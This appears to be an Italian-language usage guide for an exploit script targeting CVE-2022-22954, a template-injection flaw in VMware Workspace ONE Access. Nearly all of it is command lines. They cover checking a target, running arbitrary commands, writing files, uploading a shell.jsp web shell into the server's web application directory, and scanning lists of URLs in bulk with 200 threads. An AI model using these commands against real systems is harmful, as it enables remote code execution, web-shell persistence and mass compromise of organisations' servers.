
CVE-2022-22954 VMware Workspace ONE Access freemarker SSTI vulnerabilità esecuzione comandi, script rilevamento batch, scrittura file
Rilevamento con più punti di attivazione, scansione batch multi-thread, esecuzione di comandi, scrittura di file
// Rilevamento vulnerabilità singolo target
python CVE-2022-22954.py -u https://x.x.x.x
// Esecuzione comandi
python CVE-2022-22954.py -u https://x.x.x.x -c "id"
// Scrittura file
python CVE-2022-22954.py -u https://x.x.x.x -fn test.jsp -fc "test"
// Caricamento file, su Windows specificare il percorso del nome file
python CVE-2022-22954.py -u https://x.x.x.x -fn test.jsp -fp "D:\Desktop\shell.jsp"
// Caricamento in un percorso specifico
python CVE-2022-22954.py -u https://x.x.x.x -fn "/opt/vmware/horizon/workspace/webapps/catalog-portal/test.jsp" -fp "D:\Desktop\shell.jsp"
// Scansione batch, stesso utilizzo
python CVE-2022-22954.py -f url.txt
python CVE-2022-22954.py -f url.txt -c "id" -t 200
python CVE-2022-22954.py -f url.txt -fn test.jsp -fc "test" -t 200
python CVE-2022-22954.py -f url.txt -fn test.jsp -fp "D:\Desktop\shell.jsp" -t 200
python CVE-2022-22954.py -f url.txt -fn "/opt/vmware/horizon/workspace/webapps/catalog-portal/test.jsp" -fp "D:\Desktop\shell.jsp" -t 200
